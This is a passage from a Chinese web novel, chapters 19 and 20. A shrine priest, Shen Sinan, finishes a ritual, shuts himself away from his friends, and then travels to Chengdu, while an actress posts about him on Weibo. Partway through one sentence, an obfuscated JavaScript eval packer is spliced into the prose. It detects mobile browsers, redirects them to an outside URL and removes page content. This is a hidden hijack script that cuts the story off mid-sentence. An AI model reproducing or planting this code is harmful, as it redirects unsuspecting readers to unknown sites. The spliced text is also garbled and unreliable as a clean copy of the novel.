手机屏幕里的沈司南，似乎是听到了她的声音，吹奏的旋律微微一顿，随即又恢复了平稳。只是他的眼角，有一滴晶莹的泪珠，悄然滑落，砸在玄色的祭服上，晕开了一小片深色的痕迹。 许祭站在他身后，轻轻抬手，替他拭去了眼角的泪水。动作温柔，却带着一股不容错辨的坚定。 老蛊婆看着他，眼底满是欣慰的笑容。 全寨的族人，依旧虔诚地跪拜着，口中默念着古老的经文。 陈杬祝的直播间里，弹幕早已被泪水淹没。粉丝们自发地刷起了礼物，却没有一个人刷屏，只是安静地看着屏幕里的祭典，听着那古老的笛音。 不知过了多久，沈司南的笛音渐渐落下，诵经的声音也随之停止。 他手持祭笛，对着天地山川，对着祖灵先圣，对着跪拜的族人，深深鞠了一躬。 “祭典已成。” 四个字，清晰而有力，在祖祠前回荡。 族人起身，脸上满是虔诚与喜悦。他们对着沈司南行礼，口中喊着：“祭祀安康！苗寨顺遂！” 沈司南抬起头，目光扫过面前的族人，落在老蛊婆和许祭的身上。他的眼神里，有肃穆，有温柔，有责任，也有眷恋。 他是沈司南，也是阿怨。 这一刻，他终于与自己的过去和解，也终于接受了自己的现在。 陈杬祝的直播间里，瞬间响起了热烈的掌声。弹幕里满是「祭典圆满」「司南最棒」「阿怨要永远快乐」。 陈杬祝的声音，带着一丝释然的笑意：“祭典圆满了。我们的司南，完成了他的使命。” “从今往后，他会是守护苗寨的沈司南，也会是被我们所有人温柔守护的阿怨。” 她顿了顿，继续说道：“直播到这里，就要结束了。但我们对司南的守护，永远不会结束。” “愿司南平安，愿苗寨顺遂，愿所有温柔的人，都能被世界温柔以待。” 直播结束的瞬间，#沈司南祭典圆满# #陈杬祝直播守护司南# #司南与阿怨和解# 三个话题，瞬间冲上热搜榜首。 全网都在为沈司南欢呼，为苗寨祈福。 而苗寨的祖祠前，沈司南已经脱下了祭服和祭冠，换上了一身干净的布衣。他手里依旧攥着那支祭笛，却又从许祭的手里，接过了那串萤石手链。 祭笛与手链，在他的掌心，交相辉映。 老蛊婆走到他身边，轻轻拍了拍他的肩膀：“孩子，你做得很好。” 许祭伸出手，将他揽入怀中，声音温柔而坚定：“以后，我陪你一起。做沈司南，也做阿怨。” 沈司南靠在许祭的怀里，抬头看向天空。一弯月牙挂在墨蓝色的幕布上，和陈杬祝直播间封面的那弯月牙，一模一样。 他的嘴角，缓缓勾起一抹温柔的笑容。 那笑容里，有沈司南的肃穆，也有阿怨的软糯。 那是属于他的，独一无二的笑容。 苗寨的月光，依旧温柔。萤石溪流的蓝光，依旧温暖。 沈司南的故事，还在继续。 他是苗寨的祭祀，是跳崖护寨的英雄。 他也是阿怨，是被全世界温柔守护的宝贝。 而这一次，他再也不会孤单。 19. 司怨 祭典的余温还未散尽，苗寨的香雾却似是一夜之间，染上了几分疏离的冷意。 沈司南依旧会晨起，却不再是被梨春梦的糯米茶香气唤醒。天刚蒙蒙亮，他便独自出现在萤石溪边，玄色的祭服代替了往日舒适的布衣，那支祭笛被他握在手中，竹身的包浆在晨雾里泛着冷光。他不再蹲下身去捞溪里的萤石，也不再追着蝴蝶跑，只是静立在溪边，望着泛着蓝光的流水，一站就是半个时辰。 老蛊婆拄着拐杖站在梨花园的入口，看着那个清瘦的背影，眼底的欣慰渐渐被担忧取代。她端着温热的糯米茶走过去，声音依旧温柔：“司南，喝杯茶再站着吧。” 沈司南闻声转身，脸上没有了往日的软糯笑意，只有祭祀的肃穆与疏离。他对着老蛊婆微微躬身，动作标准得近乎刻板：“多谢婆婆。”却没有伸手去接那杯茶，“祭祀身有仪轨，晨时需洁身静心，不宜进食。” 老蛊婆的手僵在半空，糯米茶的热气氤氲了她的眼眶。她记得，从前的阿怨，会扑到她怀里，抢过那杯糯米茶，笑得眉眼弯弯地喊她“婆婆”。而现在的沈司南，连一句亲近的称呼，都吝啬给予。 许祭的日子，更是难熬。 从前，沈司南总是喜欢靠在他的怀里，攥着萤石手链，跟他说梨花园里的蝴蝶，说萤石溪里的小鱼。可现在，许祭哪怕只是靠近他三步之内，沈司南都会下意识地后退一步，拉开距离。 “司南，”许祭忍不住伸手，想要触碰他的发丝，却被他偏头躲开，“你最近……是不是太累了？” 沈司南垂着眼，指尖摩挲着祭笛上的萤石镶嵌，声音平静无波：“许祭，我是苗寨的祭祀。从今往后，当守祭祀本分，不可再像从前那般，耽于嬉闹。” “那阿怨呢？”许祭的声音带着一丝颤抖，心口像是被钝器狠狠砸中，“阿怨就不是你了吗？” 沈司南的身体猛地一僵，却没有抬头，只是声音更冷了几分：“阿怨……已经是过去的事了。” 一句话，像一把刀，狠狠扎进了许祭的心里。 他开始刻意避开所有人。 寨里的孩子拿着刚串好的萤石手链，跑到祖祠门口找他，他却让守在门口的族人转告，祭祀正在诵经，不便打扰。梨春梦摘了最新鲜的月莲，想给他做他最爱吃的月莲糕，他却闭门不见，只留一句“心无旁骛，方得始终”。 他把自己关在祖祠里，日夜与古老的经文、冰冷的祭器为伴。他重新拾起了所有被遗忘的祭祀仪轨，比十二岁那年刚接过祭笛时，更加严苛地要求自己。他不再笑，不再哭，仿佛变成了一尊没有感情的雕像，只有在主持祭祀仪式时，才会露出一丝属于沈司南的威严。 陈杬祝是在直播后的第七天，察觉到不对劲的。 她给沈司南发的微信，再也没有收到过回复。她从梨春梦断断续续的哭诉里，得知了沈司南的变化——那个软糯的阿怨，好像真的消失了，只剩下一个冰冷的、疏离的沈司南。 她忍不住再次开了直播，这一次，她露了脸，眼底的红血丝清晰可见。直播间的在线人数依旧众多，弹幕里满是担忧。 “大家都在问，司南最近怎么样了。”陈杬祝的声音带着哽咽，目光看向镜头外的远方，像是能穿透千山万水，看到苗寨祖祠里的那个身影，“我想告诉大家，司南很好，他正在认真地做他作为祭祀该做的事。” “可是……”她的声音顿了顿，泪水终于忍不住滑落，“可是我好怕，怕他把自己封闭起来，怕他忘了，除了沈司南，他还是阿怨，还是那个被我们所有人放在心尖上的宝贝。” “司南，我知道你记起了所有的责任，记起了自己的使命。”陈杬祝对着镜头，像是在对着沈司南说话，“可是你要记得，你不是一个人。老蛊婆在等你，许祭在等你，梨春梦姐姐在等你，整个苗寨都在等你，我也在等你。” “你可以做守护苗寨的沈司南，也可以做被我们守护的阿怨。这两者，从来都不冲突。” 远在苗寨祖祠的沈司南，此刻正坐在香案前，手里捧着一本古老的经文。窗外，传来了陈杬祝直播的声音，被风裹挟着，飘进了他的耳朵里。 “你可以做守护苗寨的沈司南，也可以做被我们守护的阿怨。” 这句话，像一道惊雷，劈开了他心底的冰封。 他的身体剧烈地颤抖起来，手里的经文“啪”地一声掉在地上。他猛地抬起头，眼底不再是一片冰冷，而是翻涌着痛苦与挣扎。 他不是想远离大家。 他是怕。 怕自己再次沉溺于温柔，忘了祭祀的责任；怕兰榙的余孽再次来袭，自己没有能力守护苗寨；怕自己的存在，会给身边的人带来危险。 他以为，只要他变成冰冷的沈司南，就能扛起所有的责任，就能保护所有人。 可他忘了，他的疏离，才是对大家最深的伤害。 沈司南猛地站起身，朝着祖祠外冲去。他穿过香雾，穿过梨花园，朝着萤石溪边跑去。 那里，老蛊婆还站在原地，手里的糯米茶已经凉了。 那里，许祭还守在树下，眼底的痛苦清晰可见。 那里，梨春梦还捧着月莲糕，泪水打湿了裙摆。 沈司南的脚步停在他们面前，玄色的祭服被风吹得猎猎作响。他看着他们，看着自己最亲近的人，泪水终于汹涌而出。 “我错了……”他的声音破碎不堪，“我不该远离你们……我不该忘了，我是沈司南，也是阿怨……” 片场的夜戏刚收工，寒意裹着晚风钻进陈杬祝的戏服，她却浑然不觉。助理递来的手机屏幕亮着，是梨春梦刚刚发来的一张照片——苗寨的竹楼前，沈司南的背影清瘦得近乎单薄。他穿着那件玄色祭服，衣摆垂到脚踝，被风掀起一角，手里攥着的祭笛在月光下泛着冷光。他没有回头，只是静立在萤石溪边，望着泛着蓝光的流水，周身的疏离感，连镜头都能轻易捕捉。 陈杬祝的指尖划过屏幕上那个孤绝的背影，泪水毫无预兆地滑落，砸在手机玻璃上，晕开一片模糊的光影。她没有擦干眼泪，只是点开微博，上传了这张照片。 没有多余的配图，没有花哨的滤镜，只有沈司南的背影，和竹楼外漫漶的月光，萤石溪的蓝光像是融化在夜色里的泪。 文案栏里，她只敲下八个字，删了又改，最终还是定格在最简短的那句： 一切不如一切 末尾没有表情，没有话题，甚至没有一个标点。 微博发出的瞬间，评论区便被瞬间刷屏。粉丝们早已从陈杬祝前几日的直播里，窥到了沈司南的变化，此刻看到这张背影照，再配上这句带着无尽怅惘的话，心疼的情绪瞬间汹涌： 「这句一切不如一切，看得我心都碎了……杬祝姐姐一定比谁都难过吧」 「司南的背影好孤单啊，他到底在想什么？那个软糯的阿怨，真的回不来了吗」 「他是沈司南，是苗寨的祭祀，可他也是我们的阿怨啊……为什么要把自己封闭起来」 「杬祝姐姐，你一定要告诉司南，我们都在等他，等他既做沈司南，也做阿怨」 #陈杬祝 一切不如一切# #沈司南背影# #阿怨你在哪里# 三个话题瞬间冲上热搜，服务器在短时间内再次陷入波动。 陈杬祝将手机屏幕按灭，靠在保姆车的座椅上，目光望向窗外墨蓝色的天空。那里的月亮，和苗寨梨花园里的月亮，是同一弯。她仿佛能看到，沈司南依旧站在溪边，背影孤绝，像被全世界抛弃，又像在独自对抗全世界。 她知道，他不是想远离所有人。 他只是被二十岁那年的血与火，被祭祀的责任与重担，压得喘不过气。他以为，只有变成冰冷的沈司南，才能守护苗寨，才能不让身边的人受伤害。 可他忘了，他的疏离，才是对老蛊婆、对许祭、对整个苗寨，最深的伤害。 也忘了，还有一个她，在千里之外，守着他的消息，念着他的名字，心疼着他的所有。 手机屏幕再次亮起，是梨春梦的微信：「杬祝姐，司南他……看到微博了。」 陈杬祝的心脏猛地一缩，指尖颤抖着回复：「他怎么样？」 那边沉默了很久，才发来一句：「他还是没回头，只是……肩膀好像动了一下。」 陈杬祝的眼泪，再次汹涌而出。 她对着手机屏幕，无声地呢喃：「司南，你看。月光还在，萤石溪还在，我们都在。」 「一切不如一切，可我们，还在等你的一切。」 月光漫过竹楼的窗棂，落在沈司南膝头的经文上，字里行间的古老篆文，被镀上了一层冷白的霜。 他已经在这里坐了三个时辰，手里的祭笛被摩挲得温热，却暖不透他眼底的疏离。许祭端着一碗温热的糯米粥，站在门口很久了，直到粥的热气快要散尽，才轻轻叩了叩木门。 沈司南没有抬头，只是声音平静无波：“我不饿。” “不是粥。”许祭的声音带着小心翼翼的温柔，他缓步走进来，将碗放在桌案上，目光落在沈司南清瘦的侧影上，“是梨春梦新熬的，加了月莲蜜，你从前……很喜欢。” “从前”两个字，像一根细针，轻轻刺了沈司南一下。他的指尖顿了顿，终于抬眼，看向许祭。那双往日里盛着软糯笑意的眼睛，此刻只剩下祭祀的肃穆，却在触及许祭眼底的红血丝时，微微动了一下。 许祭被他看得心头一紧，正要开口说些什么，却听见沈司南先开了口。 “许祭，”他的声音比平时低了几分，带着一丝不易察觉的疲惫，“我想出去看看。” 许祭的身体猛地一僵，脸上的表情瞬间凝固。他几乎以为自己听错了，愣了半晌，才艰涩地开口：“出去……去哪里？” “不知道。”沈司南摇了摇头，目光飘向窗外的萤石溪流，月光下的流水泛着蓝光，像极了他跳崖那日崖底的浅滩，“就出去走走，离开苗寨，去看看外面的世界。” 他的指尖轻轻划过祭笛上的萤石镶嵌，声音里带着一丝连自己都没察觉的茫然：“我做了二十多年的沈司南，做了几年的阿怨。可我从来都不知道，除了祭祀，除了被苗寨守护的宝贝，我还能是什么。” “我守着苗寨的仪轨，守着祖灵的嘱托，守着所有人的期待。”沈司南的声音渐渐低了下去，眼底的肃穆被痛苦取代，“可我忘了，我也有想看看外面的风，外面的云，想知道除了萤石溪和梨花园，这世上还有什么。” 许祭的心像是被一只手狠狠攥住，疼得他喘不过气。他看着沈司南眼底的茫然，突然想起了从前的阿怨——那个会追着蝴蝶跑，会问他“外面的天是不是和苗寨的一样蓝”的阿怨。 原来，那些被尘封的渴望，从来都没有消失。只是被沈司南的责任，被他的恐惧，深深藏了起来。 “你是怕……”许祭的声音带着一丝颤抖，“怕自己留在苗寨，永远都只是沈司南，永远都忘不了那些痛苦？” 沈司南没有回答，只是轻轻点了点头。他的身体微微颤抖着，声音里带着一丝绝望：“我怕我再靠近大家，就会忘了祭祀的本分。我怕兰榙的余孽再来，我没有能力保护你们。我更怕，我既做不好沈司南，也做不回阿怨。” “所以，我想出去看看。”他抬起头，看向许祭，眼底第一次露出了一丝恳求，“也许只有离开这里，我才能找到答案。找到那个，既能做沈司南，也能做阿怨的自己。” 许祭看着他眼底的恳求，看着他清瘦的身影，看着他手里那支跟了他八年的祭笛，突然觉得，自己所有的挽留，都显得那么苍白。 他走上前，缓缓蹲下身，与沈司南平视。他伸出手，小心翼翼地握住沈司南的手，指尖的温度，一点点传递过去。 “好。”许祭的声音温柔而坚定，带着不容错辨的宠溺，“我陪你去。” 沈司南的身体猛地一僵，不敢置信地看着许祭：“你……” “你想出去看看，我就陪你出去看看。”许祭的笑容里，带着一丝苦涩，却更多的是温柔，“你想去哪里，我就陪你去哪里。你想找多久，我就陪你找多久。” “无论你是沈司南，还是阿怨，无论你想做什么，我都陪在你身边。” 月光透过窗棂，落在两人交握的手上，泛着温暖的光泽。沈司南看着许祭眼底的坚定，看着他掌心的温度，眼眶突然一热。 他以为，自己的决定，会让所有人失望。他以为，自己离开苗寨，就会变成孤孤单单的一个人。 可他忘了，许祭会一直陪着他。 一直。 沈司南的指尖，轻轻回握住许祭的手。他的声音带着一丝哽咽，却也带着一丝释然：“好。” 竹楼外的萤石溪流，依旧泛着蓝光。梨花园里的老梨树，依旧枝繁叶茂。 只是这一夜，沈司南的心，不再是一片冰封的湖面。 因为他知道，无论他去哪里，无论他找多久，都有一个人，会陪在他身边。 陪他看外面的风，外面的云，陪他找到那个，属于他自己的答案。 陈杬祝是在赶早班机的车上收到梨春梦消息的。手机屏幕亮起的瞬间，那句“司南说想出去看看”像一根细针，轻轻扎进她心底最柔软的地方。 她指尖颤抖着点开梨春梦发来的照片——竹楼的窗棂半开，沈司南的身影映在月光里，他手里攥着那支祭笛，另一只手却轻轻抚上了窗台上摆着的、阿怨从前最喜欢的萤石小摆件。照片的角度，恰好能看到他微垂的眼睫，掩去了眼底的情绪，只留一道清瘦的、带着几分茫然的轮廓。 车子驶入机场高速，窗外的天光渐渐亮起，陈杬祝却没有丝毫睡意。她解锁手机，点开微博，上传了这张照片。没有滤镜，没有修图，只有苗寨清晨的微光，和那个藏在窗后的身影。 文案栏里，她敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037606|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的字句带着连自己都没察觉的急切与牵挂，像一声温柔的呢喃，又像一句无处安放的追问： 司南要出去看看去哪里呀 末尾加了一个小小的、带着失落感的句号，没有话题，没有多余的表情，却瞬间戳中了所有关注着他的人。 微博发出的瞬间，评论区便被刷屏。粉丝们从老蛊婆的直播到陈杬祝前几日的“一切不如一切”，早已对沈司南的挣扎感同身受，此刻看到这条微博，心疼与担忧交织： 「去哪里呀……我们的司南是想去找属于自己的答案吗」 「这句追问看得我鼻子一酸，杬祝姐姐一定很担心吧」 「不管去哪里，只要司南能开心就好！记得带上萤石手链，带上我们的牵挂」 「许祭会陪他去吧？千万不要让他一个人啊，他已经够孤单了」 #陈杬祝 司南要出去看看去哪里呀# #沈司南远行# #阿怨记得回家# 三个话题迅速冲上热搜，连机场的候机大厅屏幕上，都短暂地闪过了相关的词条。 陈杬祝将手机握在掌心，指尖的温度透过玻璃传到屏幕上。她靠在座椅上，目光望向窗外飞速掠过的风景，脑海里全是沈司南的样子——是身着祭服、手持祭笛的沈司南，是抱着萤石手链、笑得软糯的阿怨，也是此刻站在竹楼里，对外面的世界充满茫然与渴望的他。 她不知道他想去哪里，也不知道他要走多久。 她只知道，这个孩子，终于不再把自己困在祖祠的香雾里，困在沈司南的责任与阿怨的温柔里。他终于愿意走出去，去看看除了萤石溪和梨花园之外的世界。 手机屏幕再次亮起，是许祭发来的微信，只有简单的一句话：「我陪他去。」 陈杬祝的眼眶瞬间湿润，她飞快地回复：「照顾好他。无论他去哪里，无论他找到什么答案，都告诉他，我们都在等他回来。」 发送成功的瞬间，她仿佛能看到，千里之外的苗寨竹楼里，许祭正站在沈司南身边，目光温柔而坚定。而沈司南或许正望着窗外的萤石溪流，眼底的茫然里，终于多了一丝属于自己的、微弱的光。 陈杬祝低头，轻轻摩挲着手机屏幕上沈司南的身影，无声地呢喃：「司南，一路平安。」 「不管你去哪里，记得，我们都在。」 梨春梦抱着手机冲进竹楼时，沈司南正坐在窗下擦拭那支祭笛，竹笛上的萤石镶嵌在晨光里泛着细碎的蓝光。许祭坐在他身侧，手里编着一串新的萤石手链，动作温柔得像是在呵护易碎的珍宝。 “司南！司南！”梨春梦的声音里带着雀跃，连带着鬓边的银饰都跟着轻轻摇晃，“你看！李诺言姑娘给你发消息啦！” 沈司南擦拭的动作顿了顿，抬眼时，眼底的疏离淡了几分。他没有伸手去接手机，只是安静地看着梨春梦将屏幕凑到他面前。 屏幕上是李诺言发来的一段语音，带着四川姑娘特有的清脆与热情，连珠炮似的，却又透着小心翼翼的温柔： “司南！听说你要出去看看啦！要不要来我们四川玩呀！我给你当导游！我们这里有成都的宽窄巷子，青石板路走起来可舒服了，还有锦里的红灯笼，晚上亮起来的时候，像掉进了星星堆里！春熙路的小吃多得数不清，龙抄手、钟水饺、担担面，还有我最爱的火锅！微辣的哦，肯定不会辣到你！对了对了，还有峨眉山的猴子，青城山的道观，乐山大佛的雄伟，九寨沟的水比你们萤石溪的蓝光还要好看呢！你来嘛你来嘛！我带你去看熊猫！圆滚滚的，超级可爱！你一定会喜欢的！” 语音结束后，李诺言又发来一连串的图片——宽窄巷子的青砖黛瓦，锦里挂满枝头的红灯笼，火锅店里沸腾的红油锅底，峨眉山憨态可掬的猴子，还有九寨沟澄澈如宝石的湖水。最后一张，是一只抱着竹子啃得正香的熊猫，图片下方配着一行字：【司南快来！熊猫和我都在等你！】 沈司南的目光，落在那张熊猫图片上，指尖轻轻动了动。长睫垂落，遮住了眼底的情绪，却能清晰地看到，他的嘴角，似乎有了一丝极淡的、几乎难以察觉的弧度。 许祭放下手里的萤石手链，侧头看向他，声音里带着温柔的笑意：“想去四川看看吗？那里的熊猫，确实很可爱。” 梨春梦也在一旁附和：“是啊司南！李诺言姑娘那么热情，四川肯定很好玩！你不是想出去看看吗？那里有那么多好看的、好吃的，肯定能让你开心起来！” 沈司南没有立刻回答，只是将目光从手机屏幕上移开，望向窗外的萤石溪流。溪水潺潺，泛着蓝光，像极了李诺言图片里九寨沟的湖水。 他想起了自己说过的话——想出去看看，想知道除了萤石溪和梨花园，这世上还有什么。 四川。 一个遥远而陌生的地方。有青石板路，有红灯笼，有沸腾的火锅，有憨态可掬的熊猫，还有热情的李诺言。 那里没有祖祠的香雾，没有祭祀的仪轨，没有兰榙的阴影，也没有沈司南必须扛起的责任。 那里，或许只有一个想出去看看的孩子。 沈司南的指尖，终于轻轻落在了手机屏幕上，划过那张熊猫的图片。他的声音很轻，却带着一丝连自己都没察觉的期待：“四川……熊猫吗？” 梨春梦立刻点头如捣蒜：“对！超级可爱的熊猫！圆滚滚的，眼睛大大的，还会爬树呢！” 许祭看着他眼底渐渐亮起的微光，心底的石头终于落了地。他伸出手，轻轻揉了揉沈司南的头发，动作里带着宠溺：“如果你想去，我们就去四川。” 沈司南抬起头，看向许祭，眼底的疏离终于散去了一些，露出了一丝属于阿怨的软糯。他轻轻点了点头，声音里带着一丝不易察觉的雀跃：“好。” 梨春梦兴奋地跳了起来，立刻给李诺言回复消息：【诺言姑娘！司南说他想去四川！想去看熊猫！】 手机那头的李诺言，几乎是瞬间就回了消息，连语音都带着抑制不住的激动：【真的吗！太好了！我现在就开始做攻略！宽窄巷子的民宿我已经看好了！离小吃街超级近！火锅我也订好了微辣的锅底！熊猫基地的门票我也会提前买好！你们什么时候来？我去接你们！】 沈司南看着屏幕上跳动的文字，指尖摩挲着祭笛上的萤石镶嵌，嘴角的弧度，终于清晰了一些。 竹楼外的阳光，透过树叶的缝隙，落在他的身上，泛着温暖的光泽。 他是沈司南，也是阿怨。 他即将要去一个遥远的地方，去看青石板路，去看红灯笼，去看圆滚滚的熊猫。 那里，有热情的李诺言，有沸腾的火锅，有属于他的，一段全新的旅程。 而许祭，会一直陪在他身边。 萤石溪流的水，依旧潺潺流淌。梨花园的风，依旧温柔拂面。 只是这一次，沈司南的眼底，不再只有茫然与痛苦。 还有了一丝，对外面世界的，期待。 20. 四川我们来啦 入川的高铁穿破晨雾，一路向南。车窗玻璃上倒映着沈司南的侧脸，他穿着一件简单的白色卫衣，外面套着许祭带来的浅灰色外套，手里没有攥着祭笛，而是捏着一串萤石手链——那是许祭在出发前连夜编好的，链身的萤石泛着淡淡的蓝光，和他眼底的微光相映。 绫司司坐在他们对面，指尖飞快地刷着手机，嘴里还念念有词：“李诺言说她已经在成都东站的出站口等我们了，还说带了超级好吃的蛋烘糕，有甜口的芝麻花生，还有咸口的火腿肉松，保证司南喜欢。” 沈司南的睫毛轻轻颤了颤，没有说话，只是将目光投向窗外。飞速掠过的风景里，有金黄的油菜花田，有错落的青瓦白墙，和苗寨的萤石溪、梨花园截然不同，却带着一种陌生的鲜活。 许祭察觉到他的紧张，悄悄伸出手，握住了他捏着手链的手。掌心的温度透过布料传递过去，带着让人安心的力量：“别怕，有我在。” 沈司南轻轻点了点头，回握住许祭的手。指尖相触的瞬间，他仿佛能感受到，自己心底的那份疏离，正在被一点点融化。 两个小时后，高铁缓缓驶入成都东站。 出站口的人潮熙熙攘攘，绫司司一眼就看到了那个举着“沈司南许祭绫司司”牌子的女孩。李诺言穿着一件红色的卫衣，扎着高马尾，脸上挂着灿烂的笑容，手里还提着一个保温袋，远远地就朝着他们挥手：“司南！许祭！绫司司！这里！” 沈司南的脚步顿了顿，下意识地往许祭身后躲了躲。许祭轻轻拍了拍他的后背，声音温柔：“去吧，她是来接我们的。” 李诺言已经快步跑了过来，脸上的笑容更盛了。她先是给了绫司司一个大大的拥抱，然后才将目光投向沈司南，眼神里带着小心翼翼的欢喜，却没有丝毫的唐突：“司南，欢迎你来四川！一路辛苦啦！” 她说着，将保温袋递到沈司南面前，声音里带着一丝期待：“这是我早上特意去买的蛋烘糕，还是热的呢！你尝尝？甜的咸的都有，你可以先试试甜口的，不腻。” 沈司南抬起头，对上李诺言那双明亮的眼睛。那里面没有对“苗寨祭祀沈司南”的敬畏，也没有对“软糯宝贝阿怨”的怜惜，只有对一个新朋友的热情与欢迎。 他犹豫了一下，终于伸出手，接过了保温袋。指尖触碰到袋子的瞬间，一股温热的气息传来。他打开袋子，里面躺着两个圆滚滚的蛋烘糕，一个散发着芝麻的香甜，一个带着火腿的咸香。 “谢谢。”他的声音很轻，却带着一丝不易察觉的软糯。 李诺言的眼睛瞬间亮了，兴奋地说道：“不客气不客气！你喜欢就好！对了，我已经订好了民宿，就在宽窄巷子附近，走路十分钟就能到！我们先去放行李，然后我带你们去吃火锅！微辣的！绝对不会辣到你！” 绫司司在一旁附和道：“好啊好啊！我早就想吃四川火锅了！” 许祭看着沈司南手里的蛋烘糕，眼底的笑意温柔得能滴出水来：“都听你的。” 一行人走出高铁站，坐上了李诺言提前叫好的车。车子缓缓驶入市区，街道两旁的梧桐树枝繁叶茂，路边的小店挂着红灯笼，偶尔还能听到几句带着川味的吆喝声，一切都充满了烟火气。 沈司南坐在车窗边，好奇地打量着窗外的一切。他看到宽窄巷子的青砖黛瓦，看到锦里的飞檐翘角，看到春熙路的人来人往，眼底的好奇越来越浓。 李诺言坐在他身边，一边给他介绍沿途的风景，一边小心翼翼地观察着他的表情。当她看到沈司南的目光落在一只趴在树上的熊猫玩偶上时，立刻说道：“司南，你喜欢熊猫吗？我们明天就去熊猫基地！那里有好多圆滚滚的熊猫，有的在吃竹子，有的在爬树，还有的在睡觉，超级可爱！” 沈司南的嘴角，终于勾起了一抹清晰的笑容。那笑容里，没有沈司南的肃穆，也没有阿怨的懵懂，只有属于他自己的，纯粹的欢喜。 “好。”他的声音里，带着一丝雀跃。 车子很快就到了民宿。那是一栋带着小院的青瓦小楼，院子里种着满架的三角梅，开得热烈而绚烂。房间里的布置温馨而舒适，窗外就是宽窄巷子的青石板路，偶尔能听到游客的欢声笑语。 放好行李后，李诺言便迫不及待地带着他们去了附近的一家火锅店。店里的装修古色古香，锅底端上来的时候，红汤翻滚，香气四溢，却没有想象中的辛辣。 李诺言熟练地帮他们涮着毛肚和鸭肠，一边涮一边介绍：“这个毛肚要七上八下，这样才脆！鸭肠也是，烫个十秒就可以了！司南，你试试这个嫩牛肉，超级滑嫩！” 沈司南看着碗里堆得满满的食材，心里暖暖的。他拿起筷子，夹起一块嫩牛肉，放进嘴里。牛肉的滑嫩混合着锅底的鲜香，在口腔里弥漫开来，味道好得让他忍不住眯起了眼睛。 许祭看着他吃得开心，也跟着笑了。绫司司和李诺言则在一旁叽叽喳喳地聊着天，偶尔还会给沈司南夹一些他喜欢吃的菜。 一顿火锅吃下来，沈司南的脸上染上了一层淡淡的红晕，眼底的疏离早已消失不见，取而代之的是满满的欢喜。 走出火锅店的时候，天色已经暗了下来。宽窄巷子的红灯笼全都亮了起来，像一串串落在人间的星星。游客们来来往往，手里拿着各种小吃，脸上挂着幸福的笑容。 李诺言带着他们沿着青石板路慢慢走着，一边走一边给他们介绍：“这里是宽窄巷子，宽巷子里有很多老成都的院落，窄巷子里则是各种特色小店。前面还有一家卖熊猫周边的店，司南，我们去看看？” 沈司南点了点头，脚步轻快地跟了上去。 在熊猫周边店里，沈司南一眼就看中了一个抱着竹子的熊猫玩偶。那玩偶圆滚滚的，眼睛大大的，和李诺言发来的图片上的熊猫一模一样。 李诺言立刻看出了他的喜欢，笑着说道：“司南，喜欢就买下来吧！这是我送给你的礼物！” 沈司南刚想拒绝，许祭却已经掏出了钱包：“我来买。” 他将熊猫玩偶递给沈司南，声音温柔：“喜欢就拿着。” 沈司南抱着熊猫玩偶，感受着它柔软的触感，嘴角的笑容越来越深。 那天晚上，他们一直逛到深夜才回到民宿。 沈司南坐在窗边，怀里抱着熊猫玩偶，手里捏着萤石手链。窗外的红灯笼还在亮着，月光透过窗棂落在他的身上，泛着温暖的光泽。 许祭走到他身边，轻轻坐在他的身侧：“今天开心吗？” 沈司南点了点头，声音里带着一丝满足：“开心。” “那以后，我们还可以去很多地方。”许祭的声音里，带着对未来的期待，“去看峨眉山的云海，去看青城山的道观，去看九寨沟的湖水……只要你想去，我都陪你。” 绫司司和李诺言也走了过来，靠在门框上，脸上挂着灿烂的笑容。 “司南，明天我们去熊猫基地！”李诺言兴奋地说道，“后天我们去锦里！大后天我们去乐山大佛！我要带你把四川好玩的地方都逛遍！” 沈司南抬起头，看向他们。看着许祭眼底的温柔，看着绫司司脸上的笑容，看着李诺言眼中的热情，他的心里，涌起一股从未有过的暖流。 他是沈司南，是苗寨的祭祀，是二十岁跳崖护寨的英雄。 他也是阿怨，是被苗寨温柔守护的宝贝，是会对着萤石溪流笑的孩子。 而现在，他还是一个正在看世界的旅人，是被朋友围绕的沈司南。 成都的夜晚，灯火阑珊。 宽窄巷子的红灯笼，还在风中轻轻摇曳。 沈司南的旅程，才刚刚开始。 而他的身边，有许祭，有绫司司，有李诺言。 有一群，愿意陪他看遍世间风景的人。 夜色渐浓，横店的片场还亮着刺目的灯光，陈杬祝刚结束一场夜戏，正坐在保姆车里补妆，手机屏幕却突然弹出了一条微博推送，发博人是旭念安。 旭念安的微博没有任何预热，配图是一张角度刁钻的偷拍照——照片里，沈司南正站在宽窄巷子的青石板路上，怀里抱着那个圆滚滚的熊猫玩偶，侧头听着身边的李诺言说话，嘴角挂着一抹浅淡却清晰的笑容。照片的像素不算高，却恰好捕捉到了他眼底的软糯与欢喜，和往日里那个疏离肃穆的沈司南，判若两人。 文案只有短短七个字，带着一丝漫不经心的玩味，却又像是故意戳向某个痛点： 沈司南吗，挺好玩的 末尾没有表情，没有话题，甚至连一个标点都没有多余，可那语气里的轻佻与随意，瞬间在网上掀起了轩然大波。 旭念安是谁？是陈杬祝现阶段资源竞争最激烈的对手，两人正在争夺同一部大女主剧的女主角，粉丝间的摩擦从未停止。而她此刻突然发博提及沈司南，任谁都能嗅出一丝不寻常的味道——既像是在借沈司南的热度博眼球，又像是在隐晦地挑衅陈杬祝。 微博发出的瞬间，评论区便炸开了锅。 旭念安的粉丝立刻跟上，带着一种莫名的优越感： 「姐姐这是在哪里偶遇了沈司南吗？看起来确实挺好玩的～」 「我们念安就是人缘好！随便出门都能碰到热点人物！」 「这个熊猫玩偶好可爱，司南笑起来也很乖呢～」 而陈杬祝的粉丝，以及一直关注着沈司南的网友，瞬间被这句“挺好玩的”激怒了： 「旭念安什么意思？司南不是供人取乐的玩物！」 「偷拍照很没品好吗？能不能尊重一下别人的隐私？」 「别来沾边！司南是去四川散心的，不是给你博热度的工具！」 「明知道杬祝姐姐和司南的关系，还发这种微博，怕不是想碰瓷？」 #旭念安沈司南吗挺好玩的# #旭念安偷拍照# #请尊重沈司南# 